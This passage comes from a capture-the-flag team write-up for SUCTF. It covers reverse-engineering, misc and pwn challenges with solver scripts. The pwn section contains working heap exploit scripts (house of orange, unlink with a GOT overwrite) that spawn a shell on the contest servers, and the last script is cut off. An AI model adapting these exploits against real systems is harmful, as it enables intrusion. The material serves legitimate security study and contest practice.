<span class="hljs-keyword">for</span> i, t <span class="hljs-keyword">in</span> enumerate(cipher):
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>, <span class="hljs-number">128</span>):
cc = c + c % <span class="hljs-number">4</span> * <span class="hljs-number">2</span> - i
<span class="hljs-keyword">if</span> cc == ord(t):
res += chr(c)
<span class="hljs-keyword">break</span>
print(res)</code></pre><h3 id="roughlike与期末大作业-(sces60107)"><a class="header-link" href="#roughlike与期末大作业-(sces60107)"></a>RoughLike与期末大作业 (sces60107)</h3>
<ul class="list">
<li>We are given an unity game</li>
<li><code>strings test_data/level1</code> you can find the second part of flag<code>Wow,You Find Second Half Flag _70_5uc7F</code></li>
<li>There is a <code>First.xml</code> located at <code>test_Data/Managed</code>.
It mention a dll file <code>Assembly-CSharp.dll</code> that has been Dotfuscated. After decompiling <code>Assembly-CSharp.dll</code>, you can find out that this game use a decrypt funcion before loading assetbundles to memory</li>
<li>Use de4dot on Assembly-CSharp.dll. Then you can know that the decrypt function is actually base64-decoding with custom table <code>QRSTUVWXYZABCDEFGHIJKLMNOPabcdefghijklmnopqrstuvwxyz0123456789+/</code></li>
<li>The assetbundles are located at <code>test_Data/StreamingAssets/bundles</code>. After decoding those file, we can use <a href="https://7daystodie.com/forums/showthread.php?22675-Unity-Assets-Bundle-Extractor">Unity Assets Bundle Extractor</a></li>
<li>The first part of flag was hidden in <code>test_Data/StreamingAssets/bundles/WeaponYourself.assetbundle</code><pre class="hljs"><code> <span class="hljs-attr">name</span> = <span class="hljs-string">"Flag"</span>,
<span class="hljs-attr">ID</span> = <span class="hljs-string">"WYS_07"</span>,
<span class="hljs-attr">type</span> = <span class="hljs-number">8</span>,
<span class="hljs-attr">comment</span> = <span class="hljs-string">"Hey, look at this one ?!V2VMQzBtRQ=="</span>,
<span class="hljs-attr">using_times</span> = <span class="hljs-number">1</span>,
<span class="hljs-attr">effect</span> = <span class="hljs-string">"CannotUse"</span>,
<span class="hljs-attr">fading_time</span> = <span class="hljs-number">0</span>,
<span class="hljs-attr">use_direction</span> = <span class="hljs-literal">false</span></code></pre></li>
<li><p>The complete flag is <code>SUCTF{WeLC0mE_70_5uc7F}</code></p>
<h3 id="babyre-(sces60107)"><a class="header-link" href="#babyre-(sces60107)"></a>babyre (sces60107)</h3>
</li>
<li><p>A mips 32-bit binary</p>
</li>
<li>Custom base64 with a custom table <code>R9Ly6NoJvsIPnWhETYtHe4Sdl+MbGujaZpk102wKCr7/ODg5zXAFqQfxBicV3m8U</code></li>
<li>The base64-encoded flag <code>eQ4y46+VufZzdFNFdx0zudsa+yY0+J2m</code></li>
<li>After decoding, the flag is <code>SUCTF{wh0_1s_y0ur_d4ddy}</code></li>
<li>Script:
<code>`</code>python=
a=open("babyre").read()</li>
</ul>
<p>flag=""
flag2=""
for i in range(0x7b3,0xba4,0x10):
flag+=a[i]
for i in range(0x107b,0x1364,24):
flag2+=a[i]
print "base64 custom table:",flag
print "encoded flag:",flag2
flagc=0
for i in flag2:
flagc*=64
flagc+=flag.index(i)
print "flag:",hex(flagc)[2:-1].decode("hex")</p>
<pre class="hljs"><code>### simpleformat (sces60107)
* The binary `simpleformat` use <span class="hljs-built_in">printf</span> format <span class="hljs-built_in">string</span> <span class="hljs-keyword">to</span> verify flag
* Those format <span class="hljs-built_in">string</span> are mostly in <span class="hljs-keyword">a</span> format like `%<span class="hljs-number">1</span>$*<span class="hljs-number">2</span>$s`. This format <span class="hljs-built_in">string</span> means taking the second <span class="hljs-keyword">argument</span> <span class="hljs-keyword">as</span> the width.
* And in the end of <span class="hljs-keyword">all</span> format <span class="hljs-built_in">string</span> <span class="hljs-keyword">is</span> `%<span class="hljs-number">20</span>$n`. This format <span class="hljs-built_in">string</span> will <span class="hljs-built_in">count</span> the <span class="hljs-keyword">number</span> of bytes written <span class="hljs-keyword">so</span> far <span class="hljs-built_in">and</span> stored the value <span class="hljs-keyword">to</span> the <span class="hljs-number">20</span><span class="hljs-keyword">th</span> <span class="hljs-keyword">argument</span>.
* Actually, Those format strings are some linear equations. We can use `z3` <span class="hljs-keyword">to</span> solve those equations.
* Scrip<span class="hljs-variable">t:</span>
```<span class="hljs-keyword">python</span>=
import re
from z3 import *
from pwn import *
<span class="hljs-keyword">f</span>=<span class="hljs-keyword">open</span>(<span class="hljs-string">"test"</span>)
ff=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-keyword">f</span>.readlines():
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(i)><span class="hljs-number">200</span>:
ff.<span class="hljs-keyword">append</span>(i)
fff=[]
<span class="hljs-keyword">an</span>=<span class="hljs-keyword">open</span>(<span class="hljs-string">"simpleformat"</span>).<span class="hljs-keyword">read</span>()[<span class="hljs-number">0</span>x27100:<span class="hljs-number">0</span>x27148]
<span class="hljs-keyword">cc</span>=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>x48,<span class="hljs-number">4</span>):
<span class="hljs-keyword">cc</span>.<span class="hljs-keyword">append</span>(u32(<span class="hljs-keyword">an</span>[i:i+<span class="hljs-number">4</span>]))
s=Solver()
flag=[]
<span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">18</span>):
flag.<span class="hljs-keyword">append</span>(Int(<span class="hljs-string">"flag"</span>+str(i)))
<span class="hljs-keyword">c</span>=<span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i in ff:
<span class="hljs-keyword">k</span>={}
<span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in re.findall(<span class="hljs-string">"\%1\$\*(..?)\$s"</span>,i):
<span class="hljs-keyword">if</span> <span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>) not in <span class="hljs-keyword">k</span>:
<span class="hljs-keyword">k</span>[<span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>)]=<span class="hljs-number">1</span>
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">k</span>[<span class="hljs-keyword">int</span>(<span class="hljs-keyword">j</span>)]+=<span class="hljs-number">1</span>
temp=<span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-keyword">k</span>:
temp+=flag[<span class="hljs-keyword">j</span>-<span class="hljs-number">2</span>]*<span class="hljs-keyword">k</span>[<span class="hljs-keyword">j</span>]
s.<span class="hljs-built_in">add</span>(temp==<span class="hljs-keyword">cc</span>[<span class="hljs-keyword">c</span>])
<span class="hljs-keyword">c</span>+=<span class="hljs-number">1</span>
<span class="hljs-keyword">print</span> s.check()
flag2=<span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> i in fla<span class="hljs-variable">g:</span>
<span class="hljs-keyword">a</span>=hex(<span class="hljs-keyword">int</span>(str(s.model()[i])))[<span class="hljs-number">2</span>:]
<span class="hljs-keyword">a</span>=<span class="hljs-keyword">a</span>.decode(<span class="hljs-string">"hex"</span>)[::-<span class="hljs-number">1</span>]
flag2+=<span class="hljs-keyword">a</span>
<span class="hljs-keyword">print</span> flag2 #SUCTF{s1mpl3_prin7f_l1near_f0rmulas}</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>misc</h2>
<h3 id="tnt-(sasdf,-bookgin)"><a class="header-link" href="#tnt-(sasdf,-bookgin)"></a>TNT (sasdf, bookgin)</h3>
<ol class="list">
<li>List all the GET request queries. <code>strings tnt.pcap | grep GET</code></li>
<li>The blind SQL injection enumerates the table name, column name. We are interested in <code>comment</code> as it's very long!</li>
<li>Extract each bytes. The result is like a base64 string.<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">import</span> urllib.parse
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'./gets'</span>) <span class="hljs-keyword">as</span> f:
lines = f.read().strip().split(<span class="hljs-string">'\n'</span>)
queries = [urllib.parse.unquote(line.split(<span class="hljs-string">' '</span>)[<span class="hljs-number">1</span>]) <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> lines]
<span class="hljs-keyword">for</span> q <span class="hljs-keyword">in</span> queries:
<span class="hljs-keyword">if</span> <span class="hljs-string">'!='</span> <span class="hljs-keyword">in</span> q <span class="hljs-keyword">and</span> <span class="hljs-string">'comment AS CHAR'</span> <span class="hljs-keyword">in</span> q <span class="hljs-keyword">and</span> <span class="hljs-string">'LIMIT 0'</span><span class="hljs-keyword">in</span> q:
print(chr(int(q.split(<span class="hljs-string">'!='</span>)[<span class="hljs-number">-1</span>].split(<span class="hljs-string">')'</span>)[<span class="hljs-number">0</span>])), end=<span class="hljs-string">''</span>)</code></pre></li>
<li>The hint tells us to remove unnecessary character and append missing one. I remove <code>.</code> and append another <code>=</code> in the end. <code>(cat b64 && echo '=') | tr -d '.' | base64 -d</code></li>
<li>The result is a corrputed bzip2 file. Check the <a href="https://www.forensicswiki.org/wiki/Bzip2">bzip2 spec</a> and we found in the end of the file, the CRC only have 30 bits. Therefore, just brute force the 2 bits and padding 6-bit zeros.</li>
<li>After decompressing bzip2, gz, a corrputed jpg file blocks our way. Taking a closer look, we believe this file is related to zip, because there are some <code>PK</code> in the file, which is part of the <a href="https://en.wikipedia.org/wiki/Zip_(file_format">zip header</a>#File_headers).</li>
<li>However, the Local file header signature is corrupted. Simply patch these bytes and we can go on.</li>
<li>The next is a file which cannot be recognized by linux <code>file</code>. @bookgin simply guesses some <a href="https://en.wikipedia.org/wiki/List_of_archive_formats">archieve formats</a> and found RAR is the answer. Just patch the header again. </li>
<li>@sasdf utilizes a more elegant way to solve this: to spot <code>CMT</code> identifier in the file. <code>CMT</code> is the <a href="https://www.rarlab.com/technote.htm#srvcmt">comment identifier</a> in RAR. </li>
<li>We got the flag, finally.</li>
</ol>
<h3 id="sandgame-(b04902036)"><a class="header-link" href="#sandgame-(b04902036)"></a>SandGame (b04902036)</h3>
<p>in <code>game.py</code> we can see that it write the reminder of flag module many numbers into sand.txt, so I use <a href="http://comnuan.com/cmnn02/cmnn0200a/">this website</a> to get flag.
flag : flag{This_is_the_CRT_xwg)}</p>
<h3 id="cyclic-(b04902036)"><a class="header-link" href="#cyclic-(b04902036)"></a>Cyclic (b04902036)</h3>
<p>in this task it provide a cyclic xored text using flag as the key.
I first use script provided in <a href="https://ehsandev.com/pico2014/cryptography/repeated_xor.html">here</a> to analyze the key length and figure it to be of 24 bytes. Then use this <a href="https://wiremask.eu/tools/xor-cracker/">online cracker</a> to estimate the key. After decode the provided txt with base64 and uploading the file and see the guessed key of 24 bytes, the output contains some almost readable content : 'something'. After some trial and error, I got flag(It becomes easy after we know the flag is of 24 bytes and start with 'something', just random guess a flag and xor it to the provided file, there will be some recognizable words).
flag : flag{Something Just Like This}</p>
<h3 id="game-(b04902036)"><a class="header-link" href="#game-(b04902036)"></a>Game (b04902036)</h3>
<p>there are three type of game in this chal, we have to play each of them 20 turns perfectly. they are
1.Nim
2.Wythoff's game
3.<a href="http://delphiforfun.org/programs/NIM2_Multi.htm">http://delphiforfun.org/programs/NIM2_Multi.htm</a>
You can easily find optimal algorithmns of playing these games on the internet. My script is realy messy and include many little optimization. Since the connection won't last more than 90 seconds, it require a good network environment..., I tried near ten times under wired network and finally get flag before the connection timeout.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">from</span> math <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> itertools <span class="hljs-keyword">as</span> it
<span class="hljs-keyword">import</span> multiprocessing <span class="hljs-keyword">as</span> mp
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check</span><span class="hljs-params">(p)</span>:</span>
<span class="hljs-keyword">global</span> pre
<span class="hljs-keyword">if</span>(sha256(pre+p).hexdigest() == ans):
<span class="hljs-keyword">return</span> p
<span class="hljs-keyword">return</span> <span class="hljs-keyword">None</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pow</span><span class="hljs-params">()</span>:</span>
<span class="hljs-keyword">global</span> ans
y = string.ascii_letters + string.digits
y = it.imap(<span class="hljs-string">''</span>.join, it.product(y, repeat=<span class="hljs-number">4</span>))
pool = mp.Pool(<span class="hljs-number">32</span>)
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> pool.imap_unordered(check, y, chunksize=<span class="hljs-number">100000</span>):
<span class="hljs-keyword">if</span>(c):
<span class="hljs-keyword">return</span> c
<span class="hljs-comment"># this is used in second game</span>
g = (<span class="hljs-number">1.0</span> + (<span class="hljs-number">5</span> ** <span class="hljs-number">0.5</span>)) / <span class="hljs-number">2.0</span>
answer = dict()
answer_rev = dict()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">100000</span>):
answer[int(floor(i * g))] = int(floor(i * g) + i)
answer_rev[int(floor(i * g) + i)] = int(floor(i * g))
<span class="hljs-comment"># / this is used in second game</span>
host = <span class="hljs-string">'game.suctf.asuri.org'</span>
port = <span class="hljs-number">10000</span>
r = remote(host, port)
r.recvuntil(<span class="hljs-string">'sha256('</span>)
pre = r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>]
r.recvuntil(<span class="hljs-string">' == '</span>)
ans = r.recvuntil(<span class="hljs-string">'\n'</span>).strip(<span class="hljs-string">'\n'</span>)
r.sendline(pow())
counter = <span class="hljs-number">0</span>
GG = <span class="hljs-number">3</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
counter += <span class="hljs-number">1</span>
<span class="hljs-comment">#print ('Round ', counter)</span>
<span class="hljs-keyword">if</span>(counter == <span class="hljs-number">21</span>):
<span class="hljs-keyword">break</span>
r.recvuntil(<span class="hljs-string">'Round'</span>)
r.recvuntil(<span class="hljs-string">'There are '</span>)
now = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
r.recvuntil(<span class="hljs-string">'you can pick '</span>)
low = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
r.recvuntil(<span class="hljs-string">'- '</span>)
high = int(r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>], <span class="hljs-number">10</span>)
jason = low + high
ret = now % jason
<span class="hljs-keyword">if</span>(ret > high <span class="hljs-keyword">or</span> ret < low <span class="hljs-keyword">or</span> (<span class="hljs-number">21</span> - counter <= GG)):
GG -= <span class="hljs-number">1</span>
r.sendline(<span class="hljs-string">'GG'</span>)
<span class="hljs-keyword">continue</span>
<span class="hljs-keyword">else</span>:
count = <span class="hljs-number">-1</span>
get = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span>(now != <span class="hljs-number">0</span>):
count += <span class="hljs-number">1</span>
r.recvuntil(<span class="hljs-string">':'</span>)
<span class="hljs-keyword">if</span>(count == <span class="hljs-number">0</span>):
r.sendline(str(ret))
now -= ret
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">if</span>(now - jason + get < <span class="hljs-number">0</span>):
r.sendline(str(jason - get - low))
now = <span class="hljs-number">0</span>
<span class="hljs-keyword">else</span>:
r.sendline(str(jason - get))
now -= jason
<span class="hljs-keyword">if</span>(now == <span class="hljs-number">0</span>):
<span class="hljs-keyword">break</span>
r.recvuntil(<span class="hljs-string">'pick '</span>)
get = int(r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-2</span>], <span class="hljs-number">10</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
counter = <span class="hljs-number">0</span>
<span class="hljs-comment">#print 'game 2'</span>
<span class="hljs-comment"># this is the fuction to find cold position in game 2</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solver</span><span class="hljs-params">(nowx, nowy)</span>:</span>
p00 = <span class="hljs-number">0</span>
p11 = <span class="hljs-number">1</span>
<span class="hljs-keyword">if</span>(nowx <span class="hljs-keyword">in</span> answer):
<span class="hljs-keyword">if</span>(answer[nowx] < nowy):
<span class="hljs-keyword">return</span> (nowy - answer[nowx], p11)
<span class="hljs-keyword">if</span>(nowx <span class="hljs-keyword">in</span> answer_rev):
<span class="hljs-keyword">if</span>(answer_rev[nowx] < nowy):
<span class="hljs-keyword">return</span> (nowy - answer_rev[nowx], p11)
<span class="hljs-keyword">if</span>(nowy <span class="hljs-keyword">in</span> answer):
<span class="hljs-keyword">if</span>(answer[nowy] < nowx):
<span class="hljs-keyword">return</span> (nowx - answer[nowy], p00)
<span class="hljs-keyword">if</span>(nowy <span class="hljs-keyword">in</span> answer_rev):
<span class="hljs-keyword">if</span>(answer_rev[nowy] < nowx):
<span class="hljs-keyword">return</span> (nowx - answer_rev[nowy], p00)
y = abs(nowx - nowy)
ret = int(floor(g * y))
<span class="hljs-keyword">if</span>(((nowx - ret) == (nowy - ret - y) <span class="hljs-keyword">and</span> (nowx - ret) > <span class="hljs-number">0</span>)):
<span class="hljs-keyword">return</span> (nowx - ret, <span class="hljs-number">2</span>)
<span class="hljs-keyword">if</span>(((nowx - ret - y) == (nowy - ret) <span class="hljs-keyword">and</span> (nowy - ret) > <span class="hljs-number">0</span>)):
<span class="hljs-keyword">return</span> (nowy - ret, <span class="hljs-number">2</span>)
<span class="hljs-keyword">return</span> (<span class="hljs-string">'GG'</span>, <span class="hljs-string">'GG'</span>)
sign = <span class="hljs-number">1</span>
GG = <span class="hljs-number">8</span>
now_time = time.time()
<span class="hljs-keyword">while</span>(sign):
r.recvuntil(<span class="hljs-string">'Round'</span>)
p = r.recvuntil(<span class="hljs-string">'\n'</span>).strip()
counter += <span class="hljs-number">1</span>
<span class="hljs-comment">#print ('Round ', p)</span>
<span class="hljs-keyword">if</span>(int(p) == <span class="hljs-number">20</span>):
sign = <span class="hljs-number">0</span>
count = <span class="hljs-number">-1</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
count += <span class="hljs-number">1</span>
r.recvuntil(<span class="hljs-string">'Piles: '</span>)
<span class="hljs-keyword">if</span>(<span class="hljs-number">21</span> - counter <= GG):
r.sendline(<span class="hljs-string">'GG'</span>)
GG -= <span class="hljs-number">1</span>
<span class="hljs-keyword">break</span>
p0 = r.recvuntil(<span class="hljs-string">' '</span>)[:<span class="hljs-number">-1</span>]
p0 = int(p0, <span class="hljs-number">10</span>)
p1 = r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-1</span>]
p1 = int(p1, <span class="hljs-number">10</span>)
r.recvuntil(<span class="hljs-string">':'</span>)
<span class="hljs-keyword">if</span>(p0 == <span class="hljs-number">0</span>):
r.sendline(str(p1) + <span class="hljs-string">' '</span> + <span class="hljs-string">'1'</span>)
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">elif</span>(p1 == <span class="hljs-number">0</span>):
r.sendline(str(p0) + <span class="hljs-string">' '</span> + <span class="hljs-string">'0'</span>)
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">elif</span>(p1 == p0):
r.sendline(str(p0) + <span class="hljs-string">' '</span> + <span class="hljs-string">'2'</span>)
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">else</span>:
ret = solver(p0, p1)
<span class="hljs-keyword">if</span>(ret[<span class="hljs-number">0</span>] == <span class="hljs-string">'GG'</span>):
sending = <span class="hljs-string">'GG'</span>
GG -= <span class="hljs-number">1</span>
<span class="hljs-keyword">else</span>:
sending = str(ret[<span class="hljs-number">0</span>]) + <span class="hljs-string">' '</span> + str(ret[<span class="hljs-number">1</span>])
r.sendline(sending)
<span class="hljs-keyword">if</span>(sending == <span class="hljs-string">'GG'</span>):
<span class="hljs-keyword">break</span>
r.recvuntil(<span class="hljs-string">'===\n'</span>)
r.recvuntil(<span class="hljs-string">'===\n'</span>)
<span class="hljs-comment">#print 'game 3'</span>
counter = <span class="hljs-number">0</span>
GG = <span class="hljs-number">5</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
counter += <span class="hljs-number">1</span>
<span class="hljs-keyword">if</span>(counter == <span class="hljs-number">21</span>):
<span class="hljs-keyword">break</span>
r.recvuntil(<span class="hljs-string">'Round'</span>)
count = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
count += <span class="hljs-number">1</span>
z = r.recvuntil(<span class="hljs-string">'Piles: '</span>)
<span class="hljs-keyword">if</span>(<span class="hljs-number">21</span> - counter <= GG):
r.sendline(<span class="hljs-string">'GG'</span>)
GG -= <span class="hljs-number">1</span>
<span class="hljs-keyword">break</span>
all_p = r.recvuntil(<span class="hljs-string">'\n'</span>).strip().split(<span class="hljs-string">' '</span>)
all_p = [int(all_p[i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(all_p))]
now = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
now = now ^ all_p[i]
sending = <span class="hljs-string">'GG'</span>
_max = <span class="hljs-number">0</span>
_max_id = <span class="hljs-number">-1</span>
chk = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
<span class="hljs-keyword">if</span>(all_p[i] == <span class="hljs-number">0</span>):
chk += <span class="hljs-number">1</span>
<span class="hljs-keyword">continue</span>
now_now = now ^ all_p[i]
check = all_p[i] - now_now
<span class="hljs-keyword">if</span>(check > _max):
_max_id = i
_max = check
<span class="hljs-keyword">if</span>(_max_id >= <span class="hljs-number">0</span>):
sending = str(_max) + <span class="hljs-string">' '</span> + str(_max_id)
r.sendline(sending)
<span class="hljs-keyword">if</span>(chk == <span class="hljs-number">4</span>):
<span class="hljs-keyword">break</span>
<span class="hljs-keyword">if</span>(sending == <span class="hljs-string">'GG'</span>):
GG -= <span class="hljs-number">1</span>
<span class="hljs-keyword">break</span>
r.interactive()</code></pre><p>flag : SUCTF{gGGGGggGgGggGGggGGGggGgGgggGGGGGggggggGgGggggGg}</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>pwn</h2>
<h3 id="note-(kevin47)"><a class="header-link" href="#note-(kevin47)"></a>Note (kevin47)</h3>
<ul class="list">
<li>Overflow in add</li>
<li>UAF</li>
<li>Overflow top chunk's size to create an unsorted bin</li>
<li>Call pandora to create second unsorted bin</li>
<li>Leak libc and heap</li>
<li>Use house of orange to get shell</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">import</span> re
context.arch = <span class="hljs-string">'amd64'</span>
r = remote(<span class="hljs-string">'pwn.suctf.asuri.org'</span>, <span class="hljs-number">20003</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(size, content)</span>:</span>
r.sendlineafter(<span class="hljs-string">'>>'</span>, <span class="hljs-string">'1'</span>)
r.sendlineafter(<span class="hljs-string">'Size:'</span>, str(size))
r.sendlineafter(<span class="hljs-string">'Content:'</span>, content)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
r.sendlineafter(<span class="hljs-string">'>>'</span>, <span class="hljs-string">'2'</span>)
r.sendlineafter(<span class="hljs-string">'Index:'</span>, str(idx))
r.recvuntil(<span class="hljs-string">'Content:'</span>)
<span class="hljs-keyword">return</span> r.recvuntil(<span class="hljs-string">'1.Add a not'</span>, drop=<span class="hljs-keyword">True</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pandora</span><span class="hljs-params">()</span>:</span>
r.sendlineafter(<span class="hljs-string">'>>'</span>, <span class="hljs-string">'3'</span>)
r.sendlineafter(<span class="hljs-string">'yes:1)'</span>, <span class="hljs-string">'1'</span>)
add(<span class="hljs-number">10</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">24</span>+flat(<span class="hljs-number">0xec1</span>))
add(<span class="hljs-number">4000</span>, <span class="hljs-string">'a'</span>)
pandora()
x = show(<span class="hljs-number">0</span>).strip()
heap = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x140</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'heap:'</span>, hex(heap)
add(<span class="hljs-number">0x90</span><span class="hljs-number">-8</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">7</span>)
x = show(<span class="hljs-number">1</span>).strip()
libc = u64(x.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>)) - <span class="hljs-number">0x3bfb58</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc:'</span>, hex(libc)
<span class="hljs-comment">#_IO_list_all = libc + 0x3c5520</span>
_IO_list_all = libc + <span class="hljs-number">0x3c0500</span>
_IO_str_jumps = libc + <span class="hljs-number">0x3bc4c0</span>
<span class="hljs-comment">#system = libc + 0x45390</span>
system = libc + <span class="hljs-number">0x456d0</span>
pop_rax_rbx_rbp = libc + <span class="hljs-number">0x1fa71</span>
ret = libc + <span class="hljs-number">0x1fa74</span>
add(<span class="hljs-number">10</span>, flat(
<span class="hljs-string">'a'</span>*<span class="hljs-number">16</span>,
<span class="hljs-number">0x0</span>, <span class="hljs-number">0x61</span>,
<span class="hljs-number">0</span>, _IO_list_all<span class="hljs-number">-0x10</span>,
<span class="hljs-number">0</span>, <span class="hljs-number">1</span>,
<span class="hljs-number">0</span>, heap+<span class="hljs-number">0x1a0</span>, heap+<span class="hljs-number">0x1a0</span>, <span class="hljs-comment"># buf_base to heap & buf_end-buf_base==0</span>
[<span class="hljs-number">0</span>]*<span class="hljs-number">18</span>, _IO_str_jumps,
ret, system, <span class="hljs-comment"># malloc do nothing, free(buf_base) == system('/bin/sh')</span>
<span class="hljs-string">'/bin/sh\x00'</span>,
))
<span class="hljs-comment">#raw_input("@")</span>
r.sendlineafter(<span class="hljs-string">'>>'</span>, <span class="hljs-string">'1'</span>)
r.sendlineafter(<span class="hljs-string">'Size:'</span>, <span class="hljs-string">'10'</span>)
<span class="hljs-comment">#embed()</span>
r.interactive()
<span class="hljs-comment"># SUCTF{Me1z1jiu_say_s0rry_LOL}</span></code></pre><h3 id="heap-(b04902036)"><a class="header-link" href="#heap-(b04902036)"></a>Heap (b04902036)</h3>
<p>there are four functions : creat(length, content), delete(index), show(index) and edit(index, content)
creat(length, content) : malloc 2 chunk of size "length", let's call them a and b, then read "length" bytes into a and strcpy(b, a), free a and store b in a global array heap_form
delete(index) : free(heap_form[index]), heap_form[index] = NULL
show(index) : show content of heap_form[index]
edit(index, content) : write strlen(heap_form[index]) bytes to heap_form[index]
vulnerability : In function edit(), it allows us to overwrite the size of next chunk, and thus we can perform an unlink, then modify got and get shell.
I choose to overwrite got of free() since everytime the program read input, it will malloc 8 bytes and free it. So we can input '/bin/sh\x00' after we overwrite the got and get shell.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
host = <span class="hljs-string">'pwn.suctf.asuri.org'</span>
port = <span class="hljs-number">20004</span>
r = remote(host, port)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span><span class="hljs-params">(length, name)</span>:</span>
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'1'</span>)
r.recvuntil(<span class="hljs-string">'input len'</span>)
r.sendline(str(length))
r.recvuntil(<span class="hljs-string">'your data'</span>)
<span class="hljs-keyword">if</span>(len(name) == length):
r.send(name)
<span class="hljs-keyword">else</span>:
r.sendline(name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'2'</span>)
r.recvuntil(<span class="hljs-string">'input id'</span>)
r.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx, wait=False)</span>:</span>
<span class="hljs-keyword">if</span>(wait):
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.recvuntil(<span class="hljs-string">'4:edit'</span>, timeout=<span class="hljs-number">1</span>)
<span class="hljs-keyword">else</span>:
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'3'</span>)
r.recvuntil(<span class="hljs-string">'input id\n'</span>)
r.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">edit</span><span class="hljs-params">(idx, name, length)</span>:</span>
r.recvuntil(<span class="hljs-string">'4:edit'</span>)
r.sendline(<span class="hljs-string">'4'</span>)
r.recvuntil(<span class="hljs-string">'input id'</span>)
r.sendline(str(idx))
r.recvuntil(<span class="hljs-string">'your data'</span>)
<span class="hljs-keyword">if</span>(len(name) == length):
r.send(name)
<span class="hljs-keyword">else</span>:
r.sendline(name)
heap_form = <span class="hljs-number">0x6020c0</span>
free_got = <span class="hljs-number">0x0000000000602018</span>
free = <span class="hljs-number">0x00000000000844f0</span>
system = <span class="hljs-number">0x0000000000045390</span>
create(<span class="hljs-number">0x98</span>, <span class="hljs-string">'1'</span>) <span class="hljs-comment"># 0</span>
